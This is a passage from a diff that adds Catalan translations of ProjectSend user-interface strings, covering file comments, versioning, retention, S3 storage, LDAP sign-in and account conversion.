\":token_name\"", + "Updated the custom asset \":subject\"": "Ha actualitzat el recurs personalitzat \":subject\"", + "Updated the custom field \":name\"": "Ha actualitzat el camp personalitzat \":name\"", + "Manage client custom fields": "Gestionar camps personalitzats de clients", + "Moderate comments": "Moderar comentaris", + "Only me": "Només jo", + "Visible to anyone who can open this file, including visitors who are not logged in.": "Visible per a qualsevol persona que pugui obrir aquest fitxer, inclosos els visitants que no han iniciat la sessió.", + "Anyone, including visitors who are not logged in": "Tothom, inclosos els visitants que no han iniciat la sessió", + "Staff and clients": "Equip i clients", + "Staff only": "Només l'equip", + "No files — commenting is off": "Cap fitxer: els comentaris estan desactivats", + "Only files marked as commentable": "Només els fitxers oberts als comentaris", + "Public files only": "Només fitxers públics", + "Shared files only": "Només fitxers compartits", + "(blank = inheriting the site default)": "(buit = hereta el valor per defecte del lloc)", + "(blank = unlimited, no site default is set)": "(buit = il·limitat, no s'ha definit cap valor per defecte per al lloc)", + "(deleted file)": "(fitxer eliminat)", + ":authorName commented on \":fileName\"": ":authorName ha comentat \":fileName\"", + ":authorName commented on \":fileName\" and is waiting for approval": ":authorName ha comentat \":fileName\" i espera aprovació", + ":count comments": ":count comentaris", + ":count file updated.|:count files updated.": ":count fitxer actualitzat.|:count fitxers actualitzats.", + ":count waiting for approval": ":count esperant aprovació", + ":guest commented on the file \":subject\"": ":guest ha comentat el fitxer \":subject\"", + ":name — files": ":name — fitxers", + ":updated of :requested selected files were updated. The rest were skipped because you don't have permission to edit them.": "S'han actualitzat :updated dels :requested fitxers seleccionats. La resta s'han omès perquè no tens permís per editar-los.", + "A bold header built around your logo — pairs with the Gallery look for a polished, on-brand inbox.": "Una capçalera contundent construïda al voltant del teu logotip; combina amb l'estil Gallery per a una safata d'entrada polida i fidel a la teva marca.", + "Access": "Accés", + "Access key": "Clau d'accés", + "Accounts covered by this setting may only upload files whose extension is on the allowed list below.": "Els comptes afectats per aquesta opció només poden pujar fitxers amb una extensió que consti a la llista permesa de sota.", + "A clean, neutral layout that works well for any kind of file sharing.": "Una disposició neta i neutra que funciona bé per a qualsevol mena de compartició de fitxers.", + "A comment from someone who is not logged in stays hidden until a moderator approves it.": "El comentari d'algú que no ha iniciat la sessió queda amagat fins que un moderador l'aprova.", + "A comment is waiting for approval": "Hi ha un comentari esperant aprovació", + "Activity history for :name": "Historial d'activitat de :name", + "A daily task permanently deletes files past their expiration date and grace period below.": "Una tasca diària elimina definitivament els fitxers que han superat la data de caducitat i el període de gràcia de sota.", + "A daily task permanently deletes local orphan files older than the grace period below.": "Una tasca diària elimina definitivament els fitxers orfes locals més antics que el període de gràcia de sota.", + "Add categories": "Afegir categories", + "Adds an \"Everyone\" option when commenting on a file that is publicly visible. Without this, comments only ever reach people who are logged in.": "Afegeix una opció «Tothom» en comentar un fitxer visible públicament. Sense això, els comentaris només arriben a les persones que han iniciat la sessió.", + "A dense, spreadsheet-style list that fits more files on screen — best for large collections and frequent uploaders.": "Una llista densa, a l'estil d'un full de càlcul, que mostra més fitxers a la pantalla; ideal per a col·leccions grans i pujades freqüents.", + "A full-width photo grid built for visual browsing — the best choice for photographers and image-heavy collections.": "Una graella de fotos a tota amplada pensada per a la navegació visual; la millor opció per a fotògrafs i col·leccions plenes d'imatges.", + "Allow clients to add files to this folder from their portal.": "Permet que els clients afegeixin fitxers a aquesta carpeta des del seu portal.", + "Allow comments on this file": "Permet els comentaris en aquest fitxer", + "Allowed file extensions": "Extensions de fitxer permeses", + "Allow public comments": "Permet els comentaris públics", + "and :count more": "i :count més", + "Anonymous": "Anònim", + "Anonymous downloads": "Descàrregues anònimes", + "Applied to any client without their own custom quota, including self-registered ones. Set to 0 for no default (unlimited unless a client has their own limit).": "S'aplica a qualsevol client sense quota pròpia, inclosos els que es registren pel seu compte. Posa-hi 0 per no fixar cap valor per defecte (il·limitat, tret que un client tingui el seu propi límit).", + "A public group's page is always reachable by its own link once you mark it public — this page only controls the base URL and an optional directory listing every public group and file at once.": "La pàgina d'un grup públic sempre és accessible pel seu propi enllaç un cop el marques com a públic; aquesta pàgina només controla l'URL base i un directori opcional que mostra alhora tots els grups i fitxers públics.", + "A reset link will be sent if the account exists.": "Si el compte existeix, s'enviarà un enllaç de restabliment.", + "A spacious, colorful layout inspired by cloud storage apps, with clear file-type icons and generous spacing.": "Una disposició espaiosa i acolorida inspirada en les aplicacions d'emmagatzematge al núvol, amb icones clares per a cada tipus de fitxer i molt d'espai.", + "A stripped-down, understated design with no extra styling — pairs with the Compact look.": "Un disseny despullat i discret, sense ornaments; combina amb l'estil Compact.", + "Auto approve new accounts": "Aprova automàticament els comptes nous", + "Automatically delete expired files": "Elimina automàticament els fitxers caducats", + "Automatically delete orphan files": "Elimina automàticament els fitxers orfes", + "A visitor commented on a file": "Un visitant ha comentat un fitxer", + "Awaiting approval": "Esperant aprovació", + "Back": "Enrere", + "Be careful when changing this list — it can affect the security of this installation.": "Ves amb compte quan canviïs aquesta llista: pot afectar la seguretat d'aquesta instal·lació.", + "Blank = inherit the site default (currently :default MB). Set a value to give this client their own limit.": "Buit = hereta el valor per defecte del lloc (ara :default MB). Introdueix un valor per donar a aquest client el seu propi límit.", + "Blank = unlimited (no site default is set). Set a value to give this client their own limit.": "Buit = il·limitat (no s'ha definit cap valor per defecte per al lloc). Introdueix un valor per donar a aquest client el seu propi límit.", + "Blue accents and clean structure inspired by cloud storage apps — pairs with the Drive look.": "Tocs de blau i una estructura neta inspirats en les aplicacions d'emmagatzematge al núvol; combina amb l'estil Drive.", + "Branding": "Identitat de marca", + "Bucket": "Bucket", + "Bulk edit :count files": "Edita en bloc :count fitxers", + "by": "de", + "Change at least one field before applying a bulk edit.": "Canvia com a mínim un camp abans d'aplicar una edició en bloc.", + "Check for updates": "Comprova si hi ha actualitzacions", + "Client access": "Accés dels clients", + "Client downloads": "Descàrregues dels clients", + "Clients can register themselves": "Els clients es poden registrar pel seu compte", + "Clients only": "Només clients", + "Comment approved.": "Comentari aprovat.", + "Comment deleted.": "Comentari eliminat.", + "Comments": "Comentaris", + "Comments are closed on this file.": "Els comentaris d'aquest fitxer estan tancats.", + "Comments already written stay readable even if a file stops accepting new ones.": "Els comentaris ja escrits continuen sent llegibles encara que un fitxer deixi d'acceptar-ne de nous.", + "Comments awaiting approval": "Comentaris que esperen aprovació", + "Comment settings": "Configuració dels comentaris", + "Comments left by visitors who are not logged in. Nobody can see them until you approve them.": "Comentaris deixats per visitants que no han iniciat la sessió. Ningú no els pot veure fins que els aprovis.", + "Connect an external S3-compatible bucket (AWS S3, MinIO, or another S3-compatible service) as the storage backend for new uploads.": "Connecta un bucket extern compatible amb S3 (AWS S3, MinIO o un altre servei compatible) com a emmagatzematge de les pujades noves.", + "Custom endpoint": "Punt d'accés personalitzat", + "Custom field created.": "Camp personalitzat creat.", + "Custom field deleted.": "Camp personalitzat eliminat.", + "Custom field updated.": "Camp personalitzat actualitzat.", + "Custom range": "Interval personalitzat", + "Default storage quota (MB)": "Quota d'emmagatzematge per defecte (MB)", + "Delete account?": "Vols eliminar el compte?", + "Delete failed job?": "Vols eliminar la tasca fallida?", + "Delete them permanently": "Elimina'ls definitivament", + "Delete this comment?": "Vols eliminar aquest comentari?", + "Delete this many days after being found": "Elimina'l al cap d'aquests dies d'haver-lo trobat", + "Delete this many days after expiry": "Elimina'l al cap d'aquests dies d'haver caducat", + "Download :name": "Descarrega :name", + "Downloaded by": "Descarregat per", + "Download history": "Historial de descàrregues", + "Download history for :name": "Historial de descàrregues de :name", + "Duration": "Durada", + "Each file has a \"Allow comments\" switch on its edit page. Only files with it turned on accept comments.": "Cada fitxer té l'interruptor «Permet els comentaris en aquest fitxer» a la seva pàgina d'edició. Només els fitxers que el tenen activat accepten comentaris.", + "edited": "editat", + "Editing window (minutes)": "Finestra d'edició (minuts)", + "Email settings saved.": "Configuració del correu desada.", + "Error": "Error", + "Every download, newest first": "Cada descàrrega, de la més recent a la més antiga", + "Every download across the installation, newest first": "Cada descàrrega de tota la instal·lació, de la més recent a la més antiga", + "Every recorded action, newest first": "Cada acció registrada, de la més recent a la més antiga", + "Expiration": "Caducitat", + "Expired :date": "Va caducar el :date", + "Expired only": "Només els caducats", + "Extension, e.g. pdf": "Extensió, p. ex. pdf", + "Failed at": "Ha fallat el", + "Failed job deleted.": "Tasca fallida eliminada.", + "Failed jobs": "Tasques fallides", + "Failed to connect: :error": "No s'ha pogut connectar: :error", + "File retention": "Conservació de fitxers", + "File retention settings": "Configuració de la conservació de fitxers", + "Files accessible to :name": "Fitxers accessibles per a :name", + "Files sitting on disk with no matching record — an interrupted upload, a restore, manual filesystem access": "Fitxers que hi ha al disc sense cap registre associat: una pujada interrompuda, una restauració, una intervenció manual al sistema de fitxers", + "Files that accept comments": "Fitxers que accepten comentaris", + "Filters": "Filtres", + "Folder renamed.": "S'ha canviat el nom de la carpeta.", + "Folders": "Carpetes", + "Grid view": "Vista de graella", + "Hold comments from visitors for approval": "Retén els comentaris dels visitants per aprovar-los", + "How long after posting someone can still edit or delete their own comment. Set to 0 to never allow it.": "Quant de temps després de publicar-lo es pot encara editar o eliminar el comentari propi. Posa-hi 0 per no permetre-ho mai.", + "How long an expired file is kept before it is permanently deleted. 0 deletes it the same day it expires.": "Quant de temps es conserva un fitxer caducat abans d'eliminar-lo definitivament. Amb 0 s'elimina el mateix dia que caduca.", + "How long an orphan file is kept before it is permanently deleted. 0 deletes it the same day it is first found.": "Quant de temps es conserva un fitxer orfe abans d'eliminar-lo definitivament. Amb 0 s'elimina el mateix dia que es troba.", + "IP address": "Adreça IP", + "Job queued for retry.": "S'ha tornat a posar la tasca a la cua per reintentar-la.", + "Language: :language": "Idioma: :language", + "Last month": "El mes passat", + "Last ran": "Última execució", + "Last week": "La setmana passada", + "Leave blank for AWS S3. Set this to use an S3-compatible service such as MinIO or Backblaze.": "Deixa-ho buit per a AWS S3. Omple-ho per fer servir un servei compatible amb S3 com ara MinIO o Backblaze.", + "Leave empty for a file that never expires.": "Deixa-ho buit per a un fitxer que no caduqui mai.", + "Limit file types uploading to": "Limita els tipus de fitxer en pujar per a", + "List view": "Vista de llista", + "Make this folder public. Every file inside it — now and later, at any depth — becomes public too.": "Fes pública aquesta carpeta. Cada fitxer que contingui, ara i més endavant i a qualsevol nivell, també es fa públic.", + "Message": "Missatge", + "Moving": "S'està movent", + "Never run": "No s'ha executat mai", + "Next cleanup :date": "Propera neteja el :date", + "No accounts match \":search\".": "Cap compte coincideix amb \":search\".", + "Nobody (no restriction)": "Ningú (sense restricció)", + "No comments yet.": "Encara no hi ha comentaris.", + "No expired files.": "Cap fitxer caducat.", + "No extensions added yet.": "Encara no s'ha afegit cap extensió.", + "No failed jobs.": "Cap tasca fallida.", + "No files match these filters.": "Cap fitxer coincideix amb aquests filtres.", + "None of the selected files could be edited.": "No s'ha pogut editar cap dels fitxers seleccionats.", + "Nothing is waiting for approval.": "No hi ha res esperant aprovació.", + "of :count": "de :count", + "of :quota": "de :quota", + "on": "el", + "Only the fields you change here are applied — everything else is left as-is.": "Només s'apliquen els camps que canviïs aquí; la resta es queda tal com està.", + "Only uploads made after this backend is activated are affected. Files already stored locally stay there and keep working — there is no migration between backends.": "Només afecta les pujades fetes després d'activar aquest emmagatzematge. Els fitxers que ja hi ha desats localment s'hi queden i continuen funcionant: no hi ha cap migració entre emmagatzematges.", + "Open public page": "Obre la pàgina pública", + "Optional. Confines uploads to a subfolder within the bucket.": "Opcional. Limita les pujades a una subcarpeta dins del bucket.", + "Orphan auto-delete only ever operates on local storage, so it stays off while external storage is active — even if it was previously enabled.": "L'eliminació automàtica d'orfes només actua sobre l'emmagatzematge local, de manera que continua desactivada mentre l'emmagatzematge extern estigui actiu, encara que abans estigués activada.", + "Orphan files": "Fitxers orfes", + "Outgoing email is sent through a centrally managed relay for cloud accounts. You can still choose the From address and name shown to recipients.": "Als comptes al núvol, el correu de sortida passa per un relé gestionat de manera centralitzada. Tot i així pots triar l'adreça i el nom del remitent que veuen els destinataris.", + "Page": "Pàgina", + "Path prefix": "Prefix del camí", + "Pending": "Pendent", + "Periodically checks projectsend.org's public repository for a newer release and shows a notice on the dashboard. Nothing is ever downloaded or applied automatically.": "Comprova periòdicament si el dipòsit públic de projectsend.org té una versió més nova i mostra un avís al tauler. No es descarrega ni s'aplica mai res automàticament.", + "Permanently failed": "Ha fallat definitivament", + "Post comment": "Publica el comentari", + "Preview of :name": "Vista prèvia de :name", + "Previous month": "Mes anterior", + "ProjectSend's classic email look — simple and neutral, and pairs well with any public/portal theme.": "L'aspecte clàssic dels correus del ProjectSend: senzill i neutre, i combina bé amb qualsevol tema públic o de portal.", + "ProjectSend :version is available": "El ProjectSend :version està disponible", + "Public folder": "Carpeta pública", + "Published :date": "Publicat el :date", + "Queue": "Cua", + "Reassign them to another account": "Reassigna'ls a un altre compte", + "Region": "Regió", + "Remove a category": "Treu una categoria", + "Remove categories": "Treure categories", + "Rename folder": "Canvia el nom de la carpeta", + "Required by most S3-compatible services (MinIO, etc). Leave off for AWS S3.": "Ho requereixen la majoria de serveis compatibles amb S3 (MinIO, etc.). Deixa-ho desactivat per a AWS S3.", + "Requires Upload files": "Requereix «Pujar fitxers»", + "Retry": "Reintenta", + "Root": "Arrel", + "Scheduler": "Planificador", + "Scheduler settings": "Configuració del planificador", + "Search accounts…": "Cerca comptes…", + "Search and filter": "Cerca i filtra", + "Secret key": "Clau secreta", + "Select files to bulk-edit them": "Selecciona fitxers per editar-los en bloc", + "Sender identity": "Identitat del remitent", + "Set to…": "Estableix a…", + "Share": "Comparteix", + "Shared with client": "Compartit amb el client", + "Shared with me": "Compartits amb mi", + "Sharing a folder shares everything inside it, now and later. Manage sharing from the edit page.": "Compartir una carpeta comparteix tot el que hi ha a dins, ara i més endavant. Gestiona la compartició des de la pàgina d'edició.", + "Someone commented on a file": "Algú ha comentat un fitxer", + "Sort by": "Ordena per", + "Storage settings": "Configuració de l'emmagatzematge", + "Storage settings saved.": "Configuració de l'emmagatzematge desada.", + "Success: connected to bucket \":bucket\".": "Correcte: s'ha connectat al bucket \":bucket\".", + "Task": "Tasca", + "Test connection": "Prova la connexió", + "Test result": "Resultat de la prova", + "This account owns :files file(s) and :folders folder(s). What should happen to them?": "Aquest compte té :files fitxer(s) i :folders carpeta/es. Què se n'ha de fer?", + "This cannot be undone.": "Aquesta acció no es pot desfer.", + "This client has no accessible files yet.": "Aquest client encara no té cap fitxer accessible.", + "This deletion is permanent": "Aquesta eliminació és definitiva", + "This file is public because it's inside the public folder \":name\".": "Aquest fitxer és públic perquè és dins de la carpeta pública \":name\".", + "This folder cannot be deleted: it holds :count file you did not upload.|This folder cannot be deleted: it holds :count files you did not upload.": "Aquesta carpeta no es pot eliminar: conté :count fitxer que no has pujat tu.|Aquesta carpeta no es pot eliminar: conté :count fitxers que no has pujat tu.", + "This removes it from the failed jobs list without retrying it.": "Això la treu de la llista de tasques fallides sense reintentar-la.", + "Total size": "Mida total", + "To update, run:": "Per actualitzar, executa:", + "Unavailable while external storage is active": "No disponible mentre l'emmagatzematge extern estigui actiu", + "Unlike an expired file, an orphan has no database row to soft-delete — there is no undo once it's gone.": "A diferència d'un fitxer caducat, un d'orfe no té cap fila a la base de dades per eliminar de manera reversible: un cop desaparegut, no hi ha marxa enrere.", + "Unlimited storage": "Emmagatzematge il·limitat", + "Update :count files": "Actualitza :count fitxers", + "Uploaded and shared": "Pujat i compartit", + "Uploaded by client": "Pujat pel client", + "Uploaded by me": "Pujat per mi", + "Uploaded by the client, or assigned to them directly, via a group, or via a shared folder.": "Pujat pel client, o assignat directament, mitjançant un grup o mitjançant una carpeta compartida.", + "Uploading into \":name\".": "S'està pujant a \":name\".", + "Upload settings saved.": "Configuració de pujada desada.", + "Upload settings saved. Warning: :extensions can be dangerous to allow — only keep them on the list if you understand the risk.": "Configuració de pujada desada. Advertiment: permetre :extensions pot ser perillós; mantén-les a la llista només si n'entens el risc.", + "used": "utilitzat", + "Used in the public folder URL.": "Es fa servir a l'URL de la carpeta pública.", + "Use external storage for new uploads": "Fes servir emmagatzematge extern per a les pujades noves", + "Use path-style addressing": "Fes servir adreçament per camí", + "View all downloads (:count)": "Mostra totes les descàrregues (:count)", + "View full history (:count)": "Mostra l'historial complet (:count)", + "View release notes": "Mostra les notes de la versió", + "View release notes on GitHub": "Mostra les notes de la versió a GitHub", + "Visitor": "Visitant", + "Visitors who are not logged in can only write public comments, so this has no effect until you allow public comments below.": "Els visitants que no han iniciat la sessió només poden escriure comentaris públics, de manera que això no té cap efecte fins que permetis els comentaris públics a sota.", + "What happens to a file once it expires, or once one turns up unclaimed on disk": "Què passa amb un fitxer un cop caduca, o quan n'apareix un sense amo al disc", + "Where": "On", + "Whether scheduled tasks are actually running, and any queued email that failed to send": "Si les tasques programades s'executen realment, i quins correus de la cua no s'han pogut enviar", + "Who can comment on files, and which files accept comments": "Qui pot comentar els fitxers, i quins fitxers accepten comentaris", + "Who can see this": "Qui pot veure això", + "Who can write a comment": "Qui pot escriure un comentari", + "Write a comment…": "Escriu un comentari…", + "You cannot grant permissions your own role does not have: :permissions": "No pots concedir permisos que el teu propi rol no té: :permissions", + "You need upload permission to create folders": "Necessites permís de pujada per crear carpetes", + "Your comment will be reviewed before it appears.": "El teu comentari es revisarà abans de publicar-se.", + "Your name": "El teu nom", + "— No change —": "— Cap canvi —", + "Newest first": "Els més recents primer", + "Oldest first": "Els més antics primer", + "Name (A–Z)": "Nom (A–Z)", + "Name (Z–A)": "Nom (Z–A)", + "Largest first": "Els més grans primer", + "Smallest first": "Els més petits primer", + "Transfers": "Transferències", + "Top clients by storage": "Clients amb més emmagatzematge", + "Largest files": "Fitxers més grans", + "Expired files": "Fitxers caducats", + "A private note. Nobody else can read it, staff included.": "Una nota privada. Ningú més no la pot llegir, ni tan sols l'equip.", + "Reply": "Respon", + "Replying to :name": "Resposta a :name", + "The team working on this file. No client ever sees it.": "L'equip que treballa en aquest fitxer. Cap client no ho veu mai.", + "With :name": "Amb :name", + "Your reply goes to :name only, and to staff.": "La teva resposta va només a :name i a l'equip.", + "Your reply goes to the same people as the comment above.": "La teva resposta va a les mateixes persones que el comentari de sobre.", + "Public comments are turned off for this site.": "Els comentaris públics estan desactivats en aquest lloc.", + "Only a file that is publicly visible can have public comments.": "Només un fitxer visible públicament pot tenir comentaris públics.", + "The team, and everyone this file is shared with. Clients cannot see each other.": "L'equip i tothom amb qui es comparteix aquest fitxer. Els clients no es veuen entre ells.", + "Everyone above, plus anyone who opens this file without logging in.": "Tothom de sobre, més qualsevol persona que obri aquest fitxer sense iniciar la sessió.", + "Not signed in": "Sessió no iniciada", + "New comment on \":name\"": "Comentari nou a \":name\"", + ":author commented on \":name\".": ":author ha comentat \":name\".", + ":author commented on \":name\"": ":author ha comentat \":name\"", + "Read the comment": "Llegeix el comentari", + ":count new comments": ":count comentaris nous", + "There are :count new comments for you:": "Tens :count comentaris nous:", + "Someone": "Algú", + "New comment on a file": "Comentari nou en un fitxer", + "Multiple new comments (digest)": "Diversos comentaris nous (resum)", + "Marked the file \":subject\" as a revision of \":previous\"": "Ha marcat el fitxer \":subject\" com a revisió de \":previous\"", + "Removed the version link from the file \":subject\"": "Ha tret el vincle de versió del fitxer \":subject\"", + "A file was marked as a revision of another": "S'ha marcat un fitxer com a revisió d'un altre", + "A file version link was removed": "S'ha tret un vincle de versió", + "A newer version of a file I have is available": "Hi ha una versió més nova d'un fitxer que tinc", + "A newer version of \":previousName\" is available: :itemName": "Hi ha disponible una versió més nova de \":previousName\": :itemName", + "A newer version of a file you have is available": "Hi ha una versió més nova d'un fitxer que tens", + "\":previous\" has been replaced by a newer version: \":name\".": "\":previous\" s'ha substituït per una versió més nova: \":name\".", + ":count files you have were replaced by newer versions": ":count fitxers que tens s'han substituït per versions més noves", + "Newer versions of the following :count files are available:": "Hi ha disponibles versions més noves dels :count fitxers següents:", + ":previous → :name": ":previous → :name", + "A file cannot be a revision of itself.": "Un fitxer no pot ser una revisió d'ell mateix.", + "That file is already part of this file's version history.": "Aquest fitxer ja forma part de l'historial de versions d'aquest fitxer.", + "That file has already been revised by \":name\". Remove that link first.": "Aquest fitxer ja l'ha revisat \":name\". Treu abans aquest vincle.", + "That file has just been revised by another file. Reload and try again.": "Aquest fitxer acaba de ser revisat per un altre fitxer. Torna a carregar la pàgina i prova-ho de nou.", + "This version history is too long. Remove an older link first.": "Aquest historial de versions és massa llarg. Treu abans un vincle més antic.", + "That file can't be used as the previous version.": "Aquest fitxer no es pot fer servir com a versió anterior.", + "This file is already shared with other people, so it can't be marked as a new version. Ask your contact to do it for you.": "Aquest fitxer ja està compartit amb altres persones, així que no es pot marcar com a versió nova. Demana al teu contacte que ho faci per tu.", + "This file is a new version of \":name\". Manage sharing on \":name\" instead — every version follows it.": "Aquest fitxer és una versió nova de \":name\". Gestiona la compartició a \":name\": cada versió el segueix.", + "This file is a new version of another file, and is shared with the same people as that one.": "Aquest fitxer és una versió nova d'un altre fitxer i es comparteix amb les mateixes persones que aquell.", + "Versions": "Versions", + "Mark this file as a newer version of something you uploaded before.": "Marca aquest fitxer com a versió més nova d'una cosa que vas pujar abans.", + "This version is outdated": "Aquesta versió està obsoleta", + "It was replaced by \":name\".": "S'ha substituït per \":name\".", + "This file is a new version of": "Aquest fitxer és una versió nova de", + "Remove link": "Treu el vincle", + "Mark as a new version": "Marca com a versió nova", + "Version history": "Historial de versions", + "Version link removed.": "S'ha tret el vincle de versió.", + "This file is now marked as a new version of \":name\".": "Aquest fitxer ara està marcat com a versió nova de \":name\".", + "Share this file's recipients with the original?": "Vols traslladar els destinataris d'aquest fitxer a l'original?", + "A new version is shared with the same people as the original. These recipients of this file will be added to it, so nobody loses access:": "Una versió nova es comparteix amb les mateixes persones que l'original. Aquests destinataris del fitxer actual s'hi afegiran, perquè ningú no perdi l'accés:", + "No other files are available to link to.": "No hi ha cap altre fitxer disponible per vincular-hi.", + "Shared through \":name\"": "Compartit mitjançant \":name\"", + "This file is a new version of \":name\", so it is shared with the same people. Changing who can see it means changing that file.": "Aquest fitxer és una versió nova de \":name\", per això es comparteix amb les mateixes persones. Canviar qui el pot veure vol dir canviar aquell fitxer.", + "Edit sharing on \":name\"": "Edita la compartició de \":name\"", + "You don't have permission to change who that file is shared with.": "No tens permís per canviar amb qui es comparteix aquell fitxer.", + "This is a new version of \":name\" and is shared with the same people. Manage sharing on that file.": "Aquesta és una versió nova de \":name\" i es comparteix amb les mateixes persones. Gestiona la compartició en aquell fitxer.", + "New version of": "Versió nova de", + "Replaced by": "Substituït per", + "Outdated": "Obsolet", + "New version": "Versió nova", + "Replaced by :name": "Substituït per :name", + "Replaces :name": "Substitueix :name", + "There is a newer version of this file": "Hi ha una versió més nova d'aquest fitxer", + "This replaces": "Això substitueix", + "This is a new version of a file I uploaded before": "Aquesta és una versió nova d'un fitxer que vaig pujar abans", + "Search your files…": "Cerca als teus fitxers…", + "You have no earlier files that can be replaced.": "No tens cap fitxer anterior que es pugui substituir.", + "This file will be shared with the same people who have \":name\".": "Aquest fitxer es compartirà amb les mateixes persones que tenen \":name\".", + ":name (group)": ":name (grup)", + "Search files…": "Cerca fitxers…", + "Search…": "Cerca…", + "Searching…": "S'està cercant…", + "No files match \":search\".": "Cap fitxer coincideix amb \":search\".", + "Nothing matches \":search\".": "Res no coincideix amb \":search\".", + "A client account was converted to staff": "S'ha convertit un compte de client en compte d'equip", + "A staff account was converted to a client": "S'ha convertit un compte d'equip en compte de client", + "A client account was created from the directory": "S'ha creat un compte de client a partir del directori", + "Converted the client account \":subject\" to staff (:role)": "Ha convertit el compte de client \":subject\" en compte d'equip (:role)", + "Converted the staff account \":subject\" to a client": "Ha convertit el compte d'equip \":subject\" en compte de client", + "Created a client account from the directory on first sign-in": "Ha creat un compte de client a partir del directori en el primer inici de sessió", + "Convert accounts": "Convertir comptes", + "Convert": "Converteix", + "Convert to client": "Converteix en client", + "Convert to staff": "Converteix en compte d'equip", + "Convert :name to a client": "Converteix :name en client", + "Convert :name to staff": "Converteix :name en compte d'equip", + "Client → staff": "Client → equip", + "Staff → client": "Equip → client", + "Move an account between staff and clients. Files they uploaded are always kept.": "Mou un compte entre l'equip i els clients. Els fitxers que hagi pujat es conserven sempre.", + "They lose access to every staff screen immediately.": "L'accés a totes les pantalles de l'equip es perd immediatament.", + "They gain access to the staff screens their role allows.": "S'obté accés a les pantalles de l'equip que permet el rol.", + "Will be revoked": "Es revocarà", + "Will be revoked and cannot be undone": "Es revocarà i no es podrà desfer", + "Will be kept": "Es conservarà", + "Nothing": "Res", + "Nothing to keep": "Res per conservar", + "Converting back restores everything under \"Will be kept\". It does not restore what was revoked.": "Tornar-ho a convertir restaura tot el que hi ha sota «Es conservarà». No restaura allò que s'ha revocat.", + ":files files and :folders folders they uploaded": ":files fitxers i :folders carpetes que ha pujat aquest compte", + "No accounts match these filters.": "Cap compte coincideix amb aquests filtres.", + "Account converted to a client.": "Compte convertit en client.", + "Account converted to staff.": "Compte convertit en compte d'equip.", + "Approve or deny this account request before converting it.": "Aprova o denega aquesta sol·licitud de compte abans de convertir-la.", + "You cannot convert your own account.": "No pots convertir el teu propi compte.", + "New password": "Contrasenya nova", + "New password (optional)": "Contrasenya nova (opcional)", + "Leave blank to keep their current password.": "Deixa-ho buit per mantenir la contrasenya actual.", + "This account signs in through your directory. Staff accounts never do, so it needs a password here or they will not be able to sign in at all.": "Aquest compte inicia la sessió mitjançant el teu directori. Els comptes d'equip no ho fan mai, així que necessita una contrasenya aquí; si no, no podrà iniciar la sessió de cap manera.", + "Set a password for this account. It signs in through your directory today, and staff accounts never do.": "Estableix una contrasenya per a aquest compte. Ara inicia la sessió mitjançant el teu directori, cosa que els comptes d'equip no fan mai.", + "Tokens created": "Testimonis creats", + "Currently active": "Actius ara mateix", + ":count active": ":count actius", + "1 permission": "1 permís", + ":count permissions": ":count permisos", + "This token carries no permissions.": "Aquest testimoni no porta cap permís.", + "This account has created API tokens before, but none are live now.": "Aquest compte ja ha creat testimonis d'API abans, però ara no n'hi ha cap d'actiu.", + "This account has never created an API token.": "Aquest compte no ha creat mai cap testimoni d'API.", + "No longer granted to this account, so it does nothing.": "Ja no es concedeix a aquest compte, així que no fa res.", + "Only :name can create, change or revoke these — an administrator can see them, but not manage them.": "Només :name els pot crear, canviar o revocar; un administrador els pot veure, però no gestionar.", + "What this token is allowed to do through the API. It can never do more than :name may.": "Què pot fer aquest testimoni mitjançant l'API. Mai no pot fer més del que pot fer :name.", + "LDAP": "LDAP", + "LDAP settings": "Configuració LDAP", + "LDAP settings saved.": "Configuració LDAP desada.", + "Directory": "Directori", + "Connection": "Connexió", + "Server": "Servidor", + "Base DN": "DN base", + "Service account DN": "DN del compte de servei", + "Service account password": "Contrasenya del compte de servei", + "Email attribute": "Atribut de correu", + "Name attribute": "Atribut de nom", + "Additional filter (optional)": "Filtre addicional (opcional)", + "CA certificate path (optional)": "Camí del certificat de l'AC (opcional)", + "None (unencrypted)": "Cap (sense xifrar)", + "StartTLS": "StartTLS", + "LDAPS (implicit TLS)": "LDAPS (TLS implícit)", + "Allow clients to sign in with a directory account": "Permet que els clients iniciïn la sessió amb un compte del directori", + "Let clients sign in with their directory account. Staff always authenticate locally.": "Permet que els clients iniciïn la sessió amb el seu compte del directori. L'equip sempre s'autentica localment.", + "Create an account on first sign-in": "Crea un compte en el primer inici de sessió", + "Directory accounts are always created as clients, never as staff.": "Els comptes del directori es creen sempre com a clients, mai com a equip.", + "Someone in the directory with no account here gets a client account and is signed in immediately.": "Qui consti al directori però no tingui compte aquí obté un compte de client i inicia la sessió immediatament.", + "Someone in the directory with no account here gets a client account that waits in Account requests for approval.": "Qui consti al directori però no tingui compte aquí obté un compte de client que espera aprovació a Sol·licituds de compte.", + "Only people who already have an account here can sign in.": "Només poden iniciar la sessió les persones que ja tenen un compte aquí.", + "Combined with the address match, to narrow who may sign in.": "Es combina amb la coincidència d'adreça, per limitar qui pot iniciar la sessió.", + "The attribute holding the address people sign in with — usually mail.": "L'atribut que conté l'adreça amb què les persones inicien la sessió; normalment mail.", + "Where in the tree to look for people.": "On cal buscar les persones dins de l'arbre.", + "Leave blank to search anonymously.": "Deixa-ho buit per fer una cerca anònima.", + "Stored encrypted, and never shown again.": "Es desa xifrada i no es torna a mostrar mai.", + "Stored encrypted. Leave blank to keep the current one.": "Es desa xifrada. Deixa-ho buit per mantenir l'actual.", + "For a directory presenting a certificate from your own certificate authority.": "Per a un directori que presenta un certificat de la teva pròpia autoritat de certificació.", + "Unencrypted: the service account password and every client password cross the network in clear text.": "Sense xifrar: la contrasenya del compte de servei i la de cada client viatgen per la xarxa en text pla.", + "When a client’s password is not recognised locally, it is checked against the directory. Staff accounts always authenticate locally and are never sent to it.": "Quan la contrasenya d'un client no es reconeix localment, es comprova amb el directori. Els comptes d'equip s'autentiquen sempre localment i no s'hi envien mai.", + "The PHP LDAP extension is not installed on this server, so these settings cannot take effect.": "L'extensió PHP LDAP no està instal·lada en aquest servidor, per això aquesta configuració no pot tenir efecte.", + "The PHP LDAP extension is not installed on this server.": "L'extensió PHP LDAP no està instal·lada en aquest servidor.", + "Saves are not required to test — but the test uses the settings as last saved.": "No cal desar per fer la prova, però la prova fa servir la configuració tal com es va desar per última vegada.", + "Test a sign-in": "Prova un inici de sessió", + "Email address (optional)": "Adreça de correu (opcional)", + "Password (optional)": "Contrasenya (opcional)", + "Connected and bound as the service account.": "Connectat i autenticat com a compte de servei.", + "Could not connect or bind as the service account: :error": "No s'ha pogut connectar ni autenticar com a compte de servei: :error", + "Found a matching entry.": "S'ha trobat una entrada coincident.", + "No directory entry matched that address under the base DN.": "Cap entrada del directori coincideix amb aquesta adreça 